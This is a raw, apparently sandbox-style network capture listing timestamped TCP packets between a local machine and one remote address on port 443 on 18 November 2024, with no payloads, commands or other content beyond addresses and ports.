Nov 18, 2024 17:24:47.336863995 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.337023020 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.337037086 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.337534904 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.337563992 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.337605953 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.337615967 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.337626934 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.337671041 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.337802887 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.337810993 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.337841988 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.337846994 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.339778900 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.339797020 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.339859009 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.339982033 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.339989901 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.387172937 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.387285948 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.387367010 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.387496948 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.387516975 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.387530088 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.387537003 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.390373945 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.390394926 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.390455961 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.390585899 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.390599012 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.062915087 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.064202070 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.064270020 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.064802885 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.064821005 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.088864088 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.091327906 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.091355085 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.092057943 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.092062950 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.119242907 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.119721889 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.119728088 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.120085955 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.120096922 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.191858053 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.192128897 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.192193985 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.192301035 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.192301035 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.192341089 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.192364931 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.194883108 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.194919109 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.194984913 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.195116043 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.195126057 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.205360889 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.205759048 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.205787897 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.206290960 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.206305981 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.224322081 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.224349022 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.224399090 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.224438906 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.224438906 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.224658012 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.224658012 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.224677086 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.224687099 CET	443	50088	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.227437019 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.227480888 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.227540016 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.227716923 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.227731943 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.248434067 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.248492956 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.248636007 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.248652935 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.248735905 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.248735905 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.248831987 CET	50090	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.248840094 CET	443	50090	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.251513004 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.251562119 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.251650095 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.251894951 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.251909971 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.293035984 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.293569088 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.293579102 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.294245005 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.294251919 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.344146967 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.344223022 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.344290972 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.344525099 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.344549894 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.344566107 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.344573975 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.347693920 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.347753048 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.347826958 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.348051071 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.348069906 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.425184965 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.425393105 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.425437927 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.425538063 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.425553083 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.425565004 CET	50089	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.425570011 CET	443	50089	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.428011894 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.428031921 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.428097963 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.428215981 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.428227901 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.949181080 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.949877977 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.949906111 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.950357914 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.950362921 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.962311029 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.962888956 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.962914944 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.963474035 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.963480949 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.976444960 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.976911068 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.976943016 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:48.977324963 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:48.977333069 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.079485893 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.079514027 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.079569101 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.079592943 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.079608917 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.079653978 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.079828024 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.079848051 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.079859018 CET	50091	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.079864979 CET	443	50091	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.081698895 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.082304955 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.082329035 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.082384109 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.082688093 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.082705975 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.083122969 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.083127022 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.083250046 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.083259106 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.097287893 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.097310066 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.097361088 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.097388983 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.097428083 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.097628117 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.097644091 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.097654104 CET	50092	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.097659111 CET	443	50092	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.100073099 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.100100040 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.100159883 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.100297928 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.100311995 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.107336998 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.107362986 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.107439041 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.107451916 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.107494116 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.109723091 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.109735012 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.109749079 CET	50093	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.109754086 CET	443	50093	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.113596916 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.113620043 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.113694906 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.113857031 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.113867998 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.194897890 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.195528030 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.195553064 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.196113110 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.196119070 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.212935925 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.213649988 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.213715076 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.213751078 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.213769913 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.213782072 CET	50094	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.213788033 CET	443	50094	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.216564894 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.216599941 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.216691971 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.216814041 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.216821909 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.326431036 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.329659939 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.329720974 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.329794884 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.329812050 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.329824924 CET	50095	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.329830885 CET	443	50095	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.333043098 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.333065987 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.333117008 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.333302975 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.333314896 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.832369089 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.834394932 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.838380098 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.838391066 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.838610888 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.838634014 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.839010000 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.839015961 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.839052916 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.839057922 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.857378960 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.857817888 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.857827902 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.858377934 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.858383894 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.946053028 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.946605921 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.946619034 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.946974039 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.946980953 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.965486050 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.965661049 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.965833902 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.965833902 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.965867043 CET	50097	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.965881109 CET	443	50097	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.966728926 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.966941118 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.967020988 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.967077017 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.967077017 CET	50096	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.967113972 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.967139006 CET	443	50096	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.968790054 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.968831062 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.968838930 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.968888044 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.968908072 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.968935013 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.969377995 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.969398022 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.969412088 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.969433069 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.994888067 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.994949102 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.995007038 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.995016098 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.995049953 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.995136023 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.995181084 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.997884989 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.997890949 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:49.997900963 CET	50098	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:49.997905016 CET	443	50098	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.000536919 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.000577927 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.000638008 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.000801086 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.000813961 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.069737911 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.070540905 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.070579052 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.071010113 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.071017981 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.076451063 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.076478958 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.076544046 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.076561928 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.076715946 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.076823950 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.076823950 CET	50099	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.076841116 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.076849937 CET	443	50099	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.079895020 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.079930067 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.080002069 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.080272913 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.080287933 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.321301937 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.321329117 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.321350098 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.321444988 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.321475983 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.321537018 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.324923038 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.325001001 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.325001001 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.325036049 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.325057983 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.325073957 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.325073957 CET	50100	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.325082064 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.325089931 CET	443	50100	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.327367067 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.327402115 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.327480078 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.327599049 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.327615023 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.711905003 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.712435007 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.712466955 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.712878942 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.712891102 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.716882944 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.717235088 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.717246056 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.717590094 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.717596054 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.762300014 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.763006926 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.763037920 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.763525963 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.763540983 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.846791029 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.846818924 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.846877098 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.846878052 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.846951962 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.847182035 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.847187996 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.847196102 CET	50101	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.847199917 CET	443	50101	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.850523949 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.850591898 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.850688934 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.850877047 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.850905895 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.878240108 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.878976107 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.879013062 CET	443	50104	13.107.246.45	192.168.2.4
